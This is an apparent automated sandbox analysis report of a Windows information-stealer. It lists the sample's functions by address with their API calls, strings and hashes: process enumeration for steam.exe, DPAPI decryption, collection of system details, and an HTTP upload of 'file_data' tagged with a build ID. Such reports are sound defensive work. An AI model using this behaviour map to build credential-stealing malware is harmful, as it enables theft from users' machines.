StrCmpCA.SHLWAPI(?,00437428,?,0043681F), ref: 0040B71F
StrCmpCA.SHLWAPI(?), ref: 0040B780

Part of subcall function 00410519: lstrcpyA.KERNEL32(00000000,?,?,00401D07,?,004175EA), ref: 00410538

Part of subcall function 0040ABE5: CopyFileA.KERNEL32(?,?,00000001,004373C8,0043680E,?,?,?), ref: 0040AC8A

FindNextFileA.KERNEL32(?,?), ref: 0040B8EB
FindClose.KERNEL32(?), ref: 0040B8FF

Memory Dump Source

Source File: 00000003.00000002.2982048751.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000003.00000002.2982048751.0000000000463000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.2982048751.0000000000467000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.2982048751.000000000046B000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.2982048751.000000000055A000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.2982048751.000000000055D000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.2982048751.0000000000563000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.2982048751.0000000000582000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.2982048751.00000000005A1000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.2982048751.000000000063A000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.2982048751.0000000000670000.00000040.00000400.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_400000_RegAsm.jbxd

Yara matches

Similarity

API ID: lstrcpy$FileFind$lstrcat$CloseCopyFirstNextlstrlen
String ID:
API String ID: 3801961486-0
Opcode ID: baebc1a45e7aaf119752818707689ceabc917cd867de663b480ae7ed75caf7ad
Instruction ID: 6eade11b5287164ec315b678d4b3624fac53bcab2c480334ad0619cdb008763a
Opcode Fuzzy Hash: baebc1a45e7aaf119752818707689ceabc917cd867de663b480ae7ed75caf7ad
Instruction Fuzzy Hash: E9812D7290021C9BCF20FB75DD46AD97779AB04308F4541A6EC08B3291EB789E998FD9

Function 004124A8 Relevance: 12.3, APIs: 6, Strings: 1, Instructions: 39processCOMMON

Download Yara Rule

APIs

__EH_prolog3_catch_GS.LIBCMT ref: 004124B2
CreateToolhelp32Snapshot.KERNEL32(00000002,00000000), ref: 004124D4
Process32First.KERNEL32(00000000,00000128), ref: 004124E4
Process32Next.KERNEL32(00000000,00000128), ref: 004124F6
StrCmpCA.SHLWAPI(?,steam.exe), ref: 00412508
CloseHandle.KERNEL32(00000000), ref: 00412521

Strings

steam.exe, xrefs: 004124B7, 00412500

Memory Dump Source

Source File: 00000003.00000002.2982048751.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000003.00000002.2982048751.0000000000463000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.2982048751.0000000000467000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.2982048751.000000000046B000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.2982048751.000000000055A000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.2982048751.000000000055D000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.2982048751.0000000000563000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.2982048751.0000000000582000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.2982048751.00000000005A1000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.2982048751.000000000063A000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.2982048751.0000000000670000.00000040.00000400.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_400000_RegAsm.jbxd

Yara matches

Similarity

API ID: Process32$CloseCreateFirstH_prolog3_catch_HandleNextSnapshotToolhelp32
String ID: steam.exe
API String ID: 1799959500-2826358650
Opcode ID: 270479e608ad90a1cb49832d6e2defcf0ae6c318d63da32e91448cda09a55697
Instruction ID: 832c8eeaa0435aaa3924ee45a0bd64730d5fba57cdeeabd7c0a836480c04b591
Opcode Fuzzy Hash: 270479e608ad90a1cb49832d6e2defcf0ae6c318d63da32e91448cda09a55697
Instruction Fuzzy Hash: DB012170A01228DFDB60DB64DD84BDEB7F9AB08311F8001E6E409E2290EB399F818B14

Function 00410DDB Relevance: 10.6, APIs: 5, Strings: 1, Instructions: 82memoryCOMMON

Download Yara Rule

APIs

Part of subcall function 004104E7: lstrcpyA.KERNEL32(00000000,00000000,?,00417044,004366C7,?,?,?,?,00418558), ref: 0041050D

GetKeyboardLayoutList.USER32(00000000,00000000,00436707,?,?), ref: 00410E0C
LocalAlloc.KERNEL32(00000040,00000000), ref: 00410E1A
GetKeyboardLayoutList.USER32(00000000,00000000), ref: 00410E28
GetLocaleInfoA.KERNEL32(?,00000002,?,00000200,00000000), ref: 00410E57

Part of subcall function 00410609: lstrlenA.KERNEL32(?,00000000,?,?,?,?,00417065,00436C10,00000000,004366C7,?,?,?,?,00418558), ref: 0041061D
Part of subcall function 00410609: lstrcpyA.KERNEL32(00000000,?,?,?,?,?,00417065,00436C10,00000000,004366C7,?,?,?,?,00418558), ref: 00410645
Part of subcall function 00410609: lstrcatA.KERNEL32(?,00000000,?,?,?,?,00417065,00436C10,00000000,004366C7,?,?,?,?,00418558), ref: 00410650

Part of subcall function 0041058D: lstrcpyA.KERNEL32(00000000,?,00000000,00417083,00436C10,00000000,004366C7,?,?,?,?,00418558), ref: 004105BD

LocalFree.KERNEL32(00000000), ref: 00410EFF

Strings

/ , xrefs: 00410E73

Memory Dump Source

Source File: 00000003.00000002.2982048751.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000003.00000002.2982048751.0000000000463000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.2982048751.0000000000467000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.2982048751.000000000046B000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.2982048751.000000000055A000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.2982048751.000000000055D000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.2982048751.0000000000563000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.2982048751.0000000000582000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.2982048751.00000000005A1000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.2982048751.000000000063A000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.2982048751.0000000000670000.00000040.00000400.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_400000_RegAsm.jbxd

Yara matches

Similarity

API ID: lstrcpy$KeyboardLayoutListLocal$AllocFreeInfoLocalelstrcatlstrlen
String ID: /
API String ID: 507856799-4001269591
Opcode ID: f32aa89b2440cd7c55fdd797d272bb351a0e1ff3bbd0df8fca087d200ca2fb36
Instruction ID: 2173a9732f610b1f78059f20e2b8cd6bee3a191057d87b7466e738c1724c3436
Opcode Fuzzy Hash: f32aa89b2440cd7c55fdd797d272bb351a0e1ff3bbd0df8fca087d200ca2fb36
Instruction Fuzzy Hash: 19314F71900228AFCB20EF65DD89BDEB3B9AB04304F5005EAF519A3152D7B86EC58F54

Function 0041257F Relevance: 9.0, APIs: 6, Instructions: 37processCOMMON

Download Yara Rule

APIs

__EH_prolog3_catch_GS.LIBCMT ref: 00412589
CreateToolhelp32Snapshot.KERNEL32(00000002,00000000,0000013C,00417DFA,.exe,00436CC4,00436CC0,00436CBC,00436CB8,00436CB4,00436CB0,00436CAC,00436CA8,00436CA4,00436CA0,00436C9C), ref: 004125A8
Process32First.KERNEL32(00000000,00000128), ref: 004125B8
Process32Next.KERNEL32(00000000,00000128), ref: 004125CA
StrCmpCA.SHLWAPI(?), ref: 004125DC
CloseHandle.KERNEL32(00000000), ref: 004125F0

Memory Dump Source

Source File: 00000003.00000002.2982048751.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000003.00000002.2982048751.0000000000463000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.2982048751.0000000000467000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.2982048751.000000000046B000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.2982048751.000000000055A000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.2982048751.000000000055D000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.2982048751.0000000000563000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.2982048751.0000000000582000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.2982048751.00000000005A1000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.2982048751.000000000063A000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.2982048751.0000000000670000.00000040.00000400.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_400000_RegAsm.jbxd

Yara matches

Similarity

API ID: Process32$CloseCreateFirstH_prolog3_catch_HandleNextSnapshotToolhelp32
String ID:
API String ID: 1799959500-0
Opcode ID: 0c6284ae7c1ec9dd4d13a2abcc82e192040c6f7185e804528e3340ab270b4888
Instruction ID: 594a7061626f7aa0e5dc5c5f65b44de449b8684d73101f1e988e2d9d137db561
Opcode Fuzzy Hash: 0c6284ae7c1ec9dd4d13a2abcc82e192040c6f7185e804528e3340ab270b4888
Instruction Fuzzy Hash: D00186316002249FDB61DB60DD44FEEB7FD9F14301F8400E6E40DD2251EA798F949B25

Function 004080A1 Relevance: 7.0, APIs: 3, Strings: 1, Instructions: 48memoryencryptionCOMMON

Download Yara Rule

APIs

CryptUnprotectData.CRYPT32(?,00000000,00000000,00000000,00000000,00000000,0040823B), ref: 004080C4
LocalAlloc.KERNEL32(00000040,0040823B,?,?,0040823B,0040CB95,?,?,?,?,?,?,?,0040CC90,?,?), ref: 004080D8
LocalFree.KERNEL32(0040CB95,?,?,0040823B,0040CB95,?,?,?,?,?,?,?,0040CC90,?,?), ref: 004080FD

Strings

DPAPI, xrefs: 004080A9

Memory Dump Source

Source File: 00000003.00000002.2982048751.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000003.00000002.2982048751.0000000000463000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.2982048751.0000000000467000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.2982048751.000000000046B000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.2982048751.000000000055A000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.2982048751.000000000055D000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.2982048751.0000000000563000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.2982048751.0000000000582000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.2982048751.00000000005A1000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.2982048751.000000000063A000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.2982048751.0000000000670000.00000040.00000400.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_400000_RegAsm.jbxd

Yara matches

Similarity

API ID: Local$AllocCryptDataFreeUnprotect
String ID: DPAPI
API String ID: 2068576380-1690256801
Opcode ID: 68541e4e27b52eb825a4d6409286c391da9f85c95d41b42c5068ab7ee50209a7
Instruction ID: 09c146c598fe2db9e3360274f95d94fd5a71afecc77b7c133579c0d37eeb6d97
Opcode Fuzzy Hash: 68541e4e27b52eb825a4d6409286c391da9f85c95d41b42c5068ab7ee50209a7
Instruction Fuzzy Hash: 5901ECB5A01218EFCB04DFA8D88489EBBB9FF48754F158466E906E7341D7719F05CB90

Function 004114A5 Relevance: 6.1, APIs: 4, Instructions: 56processCOMMON

Download Yara Rule

APIs

Part of subcall function 004104E7: lstrcpyA.KERNEL32(00000000,00000000,?,00417044,004366C7,?,?,?,?,00418558), ref: 0041050D

CreateToolhelp32Snapshot.KERNEL32(00000002,00000000,0043673D,?,?), ref: 004114D4
Process32First.KERNEL32(00000000,00000128), ref: 004114E4
Process32Next.KERNEL32(00000000,00000128), ref: 00411542
CloseHandle.KERNEL32(00000000), ref: 0041154D

Memory Dump Source

Source File: 00000003.00000002.2982048751.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000003.00000002.2982048751.0000000000463000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.2982048751.0000000000467000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.2982048751.000000000046B000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.2982048751.000000000055A000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.2982048751.000000000055D000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.2982048751.0000000000563000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.2982048751.0000000000582000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.2982048751.00000000005A1000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.2982048751.000000000063A000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.2982048751.0000000000670000.00000040.00000400.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_400000_RegAsm.jbxd

Yara matches

Similarity

API ID: Process32$CloseCreateFirstHandleNextSnapshotToolhelp32lstrcpy
String ID:
API String ID: 907984538-0
Opcode ID: 1396b2ce56279851626f8e536cf4b3a1d2955bc99cf5b5724ab09f3f1eec8d32
Instruction ID: 51913b6594a0ebc61adf221e1251aafbed1c942b69ef7482f2150c09c24ace5b
Opcode Fuzzy Hash: 1396b2ce56279851626f8e536cf4b3a1d2955bc99cf5b5724ab09f3f1eec8d32
Instruction Fuzzy Hash: B4118671B00214ABDB11FB65DC85BED73B9AB48708F400097F905E3291DB78AFC58B64

Function 00410D2E Relevance: 6.0, APIs: 4, Instructions: 35memorytimeCOMMON

Download Yara Rule

APIs

GetProcessHeap.KERNEL32(00000000,00000104,?), ref: 00410D49
HeapAlloc.KERNEL32(00000000), ref: 00410D50
GetTimeZoneInformation.KERNEL32(?), ref: 00410D5F
wsprintfA.USER32 ref: 00410D7D

Memory Dump Source

Source File: 00000003.00000002.2982048751.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000003.00000002.2982048751.0000000000463000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.2982048751.0000000000467000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.2982048751.000000000046B000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.2982048751.000000000055A000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.2982048751.000000000055D000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.2982048751.0000000000563000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.2982048751.0000000000582000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.2982048751.00000000005A1000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.2982048751.000000000063A000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.2982048751.0000000000670000.00000040.00000400.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_400000_RegAsm.jbxd

Yara matches

Similarity

API ID: Heap$AllocInformationProcessTimeZonewsprintf
String ID:
API String ID: 362916592-0
Opcode ID: 8156003ae2ba7e4b44e04d9edb8d9148e42b9655548c5c901af85341735e3e08
Instruction ID: caf3496bb33e6ba0959960e47458aa26311d6ef53a8a48f1899bbcb1f341be02
Opcode Fuzzy Hash: 8156003ae2ba7e4b44e04d9edb8d9148e42b9655548c5c901af85341735e3e08
Instruction Fuzzy Hash: 40F05070600324A7DB04DB74EC49B9B33699B04725F000295F111C71C0EB759F844785

Function 00410C53 Relevance: 4.5, APIs: 3, Instructions: 19memoryCOMMON

Download Yara Rule

APIs

GetProcessHeap.KERNEL32(00000000,00000104,?,?,?,004013B9), ref: 00410C5F
HeapAlloc.KERNEL32(00000000,?,?,?,004013B9), ref: 00410C66
GetUserNameA.ADVAPI32(00000000,004013B9), ref: 00410C7A

Memory Dump Source

Source File: 00000003.00000002.2982048751.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000003.00000002.2982048751.0000000000463000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.2982048751.0000000000467000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.2982048751.000000000046B000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.2982048751.000000000055A000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.2982048751.000000000055D000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.2982048751.0000000000563000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.2982048751.0000000000582000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.2982048751.00000000005A1000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.2982048751.000000000063A000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.2982048751.0000000000670000.00000040.00000400.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_400000_RegAsm.jbxd

Yara matches

Similarity

API ID: Heap$AllocNameProcessUser
String ID:
API String ID: 1206570057-0
Opcode ID: 51a8186674da40b627bafe0667fb054b0b372cb9ea4a64be279c17a6e1cb1c3a
Instruction ID: a2d0142ef4c2f8337792e91bc85231d42bd55b383edadc254ac7c872ecc74bf6
Opcode Fuzzy Hash: 51a8186674da40b627bafe0667fb054b0b372cb9ea4a64be279c17a6e1cb1c3a
Instruction Fuzzy Hash: 33D05EB6200208BBD7449BD5EC8DF8E7BBCEB85725F100265FA46D2290DAF099488B34

Function 00410FBA Relevance: 3.0, APIs: 2, Instructions: 21COMMON

Download Yara Rule

APIs

GetSystemInfo.KERNEL32(?), ref: 00410FD4
wsprintfA.USER32 ref: 00410FEC

Memory Dump Source

Source File: 00000003.00000002.2982048751.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000003.00000002.2982048751.0000000000463000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.2982048751.0000000000467000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.2982048751.000000000046B000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.2982048751.000000000055A000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.2982048751.000000000055D000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.2982048751.0000000000563000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.2982048751.0000000000582000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.2982048751.00000000005A1000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.2982048751.000000000063A000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.2982048751.0000000000670000.00000040.00000400.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_400000_RegAsm.jbxd

Yara matches

Similarity

API ID: InfoSystemwsprintf
String ID:
API String ID: 2452939696-0
Opcode ID: 37567d6e659b031875af45e68dac7a2455be4e9a44875f3cb64902c00df150dc
Instruction ID: b9d5f41220af3185496dac5b5e3dcb30fe98a9b599af34ff0529e18c8b474594
Opcode Fuzzy Hash: 37567d6e659b031875af45e68dac7a2455be4e9a44875f3cb64902c00df150dc
Instruction Fuzzy Hash: 79E09270D1021D9BCF04DFA0ED85ADDB7FDEB08208F0054B5A505E3180D674AB898F48

Function 004014AD Relevance: 1.3, APIs: 1, Instructions: 40stringCOMMON

Download Yara Rule

APIs

lstrcmpiW.KERNEL32(?,?,?,?,?,?,00401503,avghookx.dll,0041850D), ref: 004014DF

Memory Dump Source

Source File: 00000003.00000002.2982048751.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000003.00000002.2982048751.0000000000463000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.2982048751.0000000000467000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.2982048751.000000000046B000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.2982048751.000000000055A000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.2982048751.000000000055D000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.2982048751.0000000000563000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.2982048751.0000000000582000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.2982048751.00000000005A1000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.2982048751.000000000063A000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.2982048751.0000000000670000.00000040.00000400.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_400000_RegAsm.jbxd

Yara matches

Similarity

API ID: lstrcmpi
String ID:
API String ID: 1586166983-0
Opcode ID: 01ffdcfc4a170f1596b26d300e4d9eeb94101c14574aad42e0c58a83c969e199
Instruction ID: b529297655fd12c0b63a16027a5c7bdef515ed443d31e096b8a78f326fd23762
Opcode Fuzzy Hash: 01ffdcfc4a170f1596b26d300e4d9eeb94101c14574aad42e0c58a83c969e199
Instruction Fuzzy Hash: C1F08C32A00150EBCF20CF59D804AAAFBB8EB43760F257065E809B3260C334ED11EA9C

Function 00405482 Relevance: 72.3, APIs: 25, Strings: 16, Instructions: 573
stringnetworkmemoryCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

Part of subcall function 004104E7: lstrcpyA.KERNEL32(00000000,00000000,?,00417044,004366C7,?,?,?,?,00418558), ref: 0041050D

Part of subcall function 00410519: lstrcpyA.KERNEL32(00000000,?,?,00401D07,?,004175EA), ref: 00410538

Part of subcall function 00404AB6: ??_U@YAPAXI@Z.MSVCRT(00000400), ref: 00404AE8
Part of subcall function 00404AB6: ??_U@YAPAXI@Z.MSVCRT(00000400), ref: 00404AEE
Part of subcall function 00404AB6: ??_U@YAPAXI@Z.MSVCRT(00000400), ref: 00404AF4
Part of subcall function 00404AB6: lstrlenA.KERNEL32(000000FF,00000000,?), ref: 00404B06
Part of subcall function 00404AB6: InternetCrackUrlA.WININET(000000FF,00000000), ref: 00404B0E

lstrlenA.KERNEL32(?), ref: 00405519

Part of subcall function 00411E5D: CryptBinaryToStringA.CRYPT32(?,?,40000001,00000000,?,00000000,0065E908,?,?,?,0041286A,?,?,00000000), ref: 00411E7D
Part of subcall function 00411E5D: GetProcessHeap.KERNEL32(00000000,?,?,?,?,0041286A,?,?,00000000), ref: 00411E8A
Part of subcall function 00411E5D: HeapAlloc.KERNEL32(00000000,?,?,?,0041286A,?,?,00000000), ref: 00411E91

StrCmpCA.SHLWAPI(?,00436982,0043697F,0043697E,00436973), ref: 00405588
InternetOpenA.WININET(?,00000001,00000000,00000000,00000000), ref: 004055AA
InternetConnectA.WININET(?,?,?,00000000,00000000,00000003,00000000,00000000), ref: 004056C0
HttpOpenRequestA.WININET(?,?,00000000,00000000,?,00000000), ref: 00405704
InternetSetOptionA.WININET(00000000,0000001F,00010300,00000004), ref: 00405736

Part of subcall function 004105C7: lstrcpyA.KERNEL32(00000000,?,0000000C,004175B2,004366D6), ref: 004105F5
Part of subcall function 004105C7: lstrcatA.KERNEL32(?,?), ref: 004105FF

Part of subcall function 0041058D: lstrcpyA.KERNEL32(00000000,?,00000000,00417083,00436C10,00000000,004366C7,?,?,?,?,00418558), ref: 004105BD

Part of subcall function 00410609: lstrlenA.KERNEL32(?,00000000,?,?,?,?,00417065,00436C10,00000000,004366C7,?,?,?,?,00418558), ref: 0041061D
Part of subcall function 00410609: lstrcpyA.KERNEL32(00000000,?,?,?,?,?,00417065,00436C10,00000000,004366C7,?,?,?,?,00418558), ref: 00410645
Part of subcall function 00410609: lstrcatA.KERNEL32(?,00000000,?,?,?,?,00417065,00436C10,00000000,004366C7,?,?,?,?,00418558), ref: 00410650

lstrlenA.KERNEL32(?,",file_data,00437848,------,0043783C,?,",00437830,------,00437824,9bf5e431869643a2ac397d2dc0d687fb,",build_id,0043780C,------), ref: 00405C67
lstrlenA.KERNEL32(?), ref: 00405C7A
GetProcessHeap.KERNEL32(00000000,00000000), ref: 00405C92
HeapAlloc.KERNEL32(00000000), ref: 00405C99
lstrlenA.KERNEL32(?), ref: 00405CA6
_memmove.LIBCMT ref: 00405CB4
lstrlenA.KERNEL32(?,?,?), ref: 00405CC9
_memmove.LIBCMT ref: 00405CD6
lstrlenA.KERNEL32(?), ref: 00405CE4
lstrlenA.KERNEL32(?,?,00000000), ref: 00405CF2
_memmove.LIBCMT ref: 00405D05
lstrlenA.KERNEL32(?,?,00000000), ref: 00405D1A
HttpSendRequestA.WININET(?,?,00000000), ref: 00405D2D
HttpQueryInfoA.WININET(?,00000013,?,?,00000000), ref: 00405D6F
InternetReadFile.WININET(?,?,000007CF,?), ref: 00405E26
StrCmpCA.SHLWAPI(?,block), ref: 00405E3B
ExitProcess.KERNEL32 ref: 00405E46

Strings

", xrefs: 0040581B
ERROR, xrefs: 00405D79
9bf5e431869643a2ac397d2dc0d687fb, xrefs: 004059A7
------, xrefs: 004059FF
ERROR, xrefs: 00405F2F
file_data, xrefs: 00405C09
block, xrefs: 00405E30
------, xrefs: 00405B5D
build_id, xrefs: 0040594F
", xrefs: 00405C35
", xrefs: 0040597B
--, xrefs: 00405600
------, xrefs: 0040573C
", xrefs: 00405AD8
------, xrefs: 00405605
------, xrefs: 0040589D

Memory Dump Source

Source File: 00000003.00000002.2982048751.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000003.00000002.2982048751.0000000000463000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.2982048751.0000000000467000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.2982048751.000000000046B000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.2982048751.000000000055A000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.2982048751.000000000055D000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.2982048751.0000000000563000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.2982048751.0000000000582000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.2982048751.00000000005A1000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.2982048751.000000000063A000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.2982048751.0000000000670000.00000040.00000400.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_400000_RegAsm.jbxd

Yara matches

Similarity

API ID: lstrlen$Internetlstrcpy$Heap$HttpProcess_memmove$AllocOpenRequestlstrcat$BinaryConnectCrackCryptExitFileInfoOptionQueryReadSendString
String ID: ------$"$"$"$"$--$------$------$------$------$9bf5e431869643a2ac397d2dc0d687fb$ERROR$ERROR$block$build_id$file_data
API String ID: 2638065154-3315168757
Opcode ID: 6e429642dd5302c34c2185fd21d6a0f4c88b4830bb879b38db76c06ff6ba2cbd
Instruction ID: 0358094c4ed1188e72ebe9b9f120e41e30dff06ecd2091aeb6422432c7e693ed
Opcode Fuzzy Hash: 6e429642dd5302c34c2185fd21d6a0f4c88b4830bb879b38db76c06ff6ba2cbd
Instruction Fuzzy Hash: 8242E771D401699BDF21FB21DC45ADDB3B9BF04308F0085E6A548B3152DAB46FCA9F98

Function 0040E6CF Relevance: 70.3, APIs: 30, Strings: 10, Instructions: 289
stringmemoryCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

Part of subcall function 004104E7: lstrcpyA.KERNEL32(00000000,00000000,?,00417044,004366C7,?,?,?,?,00418558), ref: 0041050D

Part of subcall function 00411DBC: SHGetFolderPathA.SHELL32(00000000,?,00000000,00000000,?,?,?), ref: 00411DFD

Part of subcall function 004105C7: lstrcpyA.KERNEL32(00000000,?,0000000C,004175B2,004366D6), ref: 004105F5
Part of subcall function 004105C7: lstrcatA.KERNEL32(?,?), ref: 004105FF

